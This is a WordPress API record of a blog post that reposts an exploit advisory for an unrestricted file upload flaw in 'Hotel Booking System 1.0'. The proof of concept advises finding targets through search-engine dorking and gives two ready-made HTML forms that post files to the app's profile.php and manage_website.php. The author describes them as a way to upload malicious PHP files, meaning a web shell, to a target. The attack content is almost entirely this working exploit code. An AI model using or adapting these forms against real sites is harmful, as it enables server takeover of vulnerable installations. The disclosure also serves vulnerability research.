{"id":58955,"date":"2024-08-16T21:10:28","date_gmt":"2024-08-16T18:10:28","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/180178\/hbs10-shell.txt"},"modified":"2024-08-16T21:10:28","modified_gmt":"2024-08-16T18:10:28","slug":"hotel-booking-system-1-0-shell-upload","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/hotel-booking-system-1-0-shell-upload\/","title":{"rendered":"Hotel Booking System 1.0 Shell Upload"},"content":{"rendered":"<p>=============================================================================================================================================<br \/>| # Title : Hotel Booking System 1.0 Remote File Upload Vulnerability |<br \/>| # Author : indoushka |<br \/>| # Tested on : windows 10 Fr(Pro) \/ browser : Mozilla firefox 128.0.3 (64 bits) |<br \/>| # Vendor : https:\/\/www.sourcecodester.com\/sites\/default\/files\/download\/oretnom23\/hotel.zip |<br \/>=============================================================================================================================================<\/p>\n<p>poc :<\/p>\n[+] Dorking \u0130n Google Or Other Search Enggine.<\/p>\n[+] This HTML page is designed to remotely upload malicious PHP files directly.<\/p>\n[+] Line 9 set url of target.<\/p>\n[+] The path to upload the files : http:\/\/127.0.0.1\/hotel\/uploadImage\\Profile<\/p>\n[+] Save Code as html :<\/p>\n<p>&lt;!DOCTYPE html&gt;<br \/>&lt;html lang=&#8221;en&#8221;&gt;<br \/>&lt;head&gt;<br \/>&lt;meta charset=&#8221;UTF-8&#8243;&gt;<br \/>&lt;meta name=&#8221;viewport&#8221; content=&#8221;width=device-width, initial-scale=1.0&#8243;&gt;<br \/>&lt;title&gt;Image Upload Form&lt;\/title&gt;<br \/>&lt;\/head&gt;<br \/>&lt;body&gt;<br \/>&lt;form action=&#8221;http:\/\/127.0.0.1\/source%20code\/profile.php&#8221; method=&#8221;POST&#8221; enctype=&#8221;multipart\/form-data&#8221;&gt;<br \/>&lt;label for=&#8221;image&#8221;&gt;Upload an image:&lt;\/label&gt;<br \/>&lt;input type=&#8221;file&#8221; id=&#8221;image&#8221; name=&#8221;image&#8221; accept=&#8221;image\/*&#8221; required&gt;<br \/>&lt;button type=&#8221;submit&#8221; name=&#8221;btn_update&#8221;&gt;Upload&lt;\/button&gt;<br \/>&lt;\/form&gt;<br \/>&lt;\/body&gt;<br \/>&lt;\/html&gt;<\/p>\n[+] part 2 : infected item ( manage_website.php ) .<\/p>\n[+] Line 9 set url of target.<\/p>\n<p>&lt;!DOCTYPE html&gt;<br \/>&lt;html lang=&#8221;en&#8221;&gt;<br \/>&lt;head&gt;<br \/>&lt;meta charset=&#8221;UTF-8&#8243;&gt;<br \/>&lt;meta name=&#8221;viewport&#8221; content=&#8221;width=device-width, initial-scale=1.0&#8243;&gt;<br \/>&lt;title&gt;Update Website Images&lt;\/title&gt;<br \/>&lt;\/head&gt;<br \/>&lt;body&gt;<br \/>&lt;form action=&#8221;http:\/\/127.0.0.1\/source%20code\/manage_website.php&#8221; method=&#8221;POST&#8221; enctype=&#8221;multipart\/form-data&#8221;&gt;<br \/>&lt;input type=&#8221;hidden&#8221; name=&#8221;old_website_image&#8221; value=&#8221;current_website_image.jpg&#8221;&gt;<br \/>&lt;label for=&#8221;website_image&#8221;&gt;Upload new website image:&lt;\/label&gt;<br \/>&lt;input type=&#8221;file&#8221; id=&#8221;website_image&#8221; name=&#8221;website_image&#8221; accept=&#8221;image\/*&#8221;&gt;<\/p>\n<p>&lt;input type=&#8221;hidden&#8221; name=&#8221;old_login_image&#8221; value=&#8221;current_login_image.jpg&#8221;&gt;<br \/>&lt;label for=&#8221;login_image&#8221;&gt;Upload new login image:&lt;\/label&gt;<br \/>&lt;input type=&#8221;file&#8221; id=&#8221;login_image&#8221; name=&#8221;login_image&#8221; accept=&#8221;image\/*&#8221;&gt;<\/p>\n<p>&lt;input type=&#8221;hidden&#8221; name=&#8221;old_back_login_image&#8221; value=&#8221;current_back_login_image.jpg&#8221;&gt;<br \/>&lt;label for=&#8221;back_login_image&#8221;&gt;Upload new back login image:&lt;\/label&gt;<br \/>&lt;input type=&#8221;file&#8221; id=&#8221;back_login_image&#8221; name=&#8221;back_login_image&#8221; accept=&#8221;image\/*&#8221;&gt;<\/p>\n<p>&lt;button type=&#8221;submit&#8221; name=&#8221;btn_web&#8221;&gt;Update Images&lt;\/button&gt;<br \/>&lt;\/form&gt;<br \/>&lt;\/body&gt;<br \/>&lt;\/html&gt;<\/p>\n<p>Greetings to :============================================================<br \/>jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr |<br \/>==========================================================================<\/p>\n","protected":false},"excerpt":{"rendered":"<p>=============================================================================================================================================| # Title : Hotel Booking System 1.0 Remote File Upload Vulnerability || # Author : indoushka || # Tested on : windows 10 Fr(Pro) \/ browser : Mozilla firefox 128.0.3 (64 bits) || # Vendor : https:\/\/www.sourcecodester.com\/sites\/default\/files\/download\/oretnom23\/hotel.zip |============================================================================================================================================= poc : [+] Dorking \u0130n Google Or Other Search Enggine. [+] This HTML page is designed &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-58955","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/58955","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=58955"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/58955\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=58955"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=58955"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=58955"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}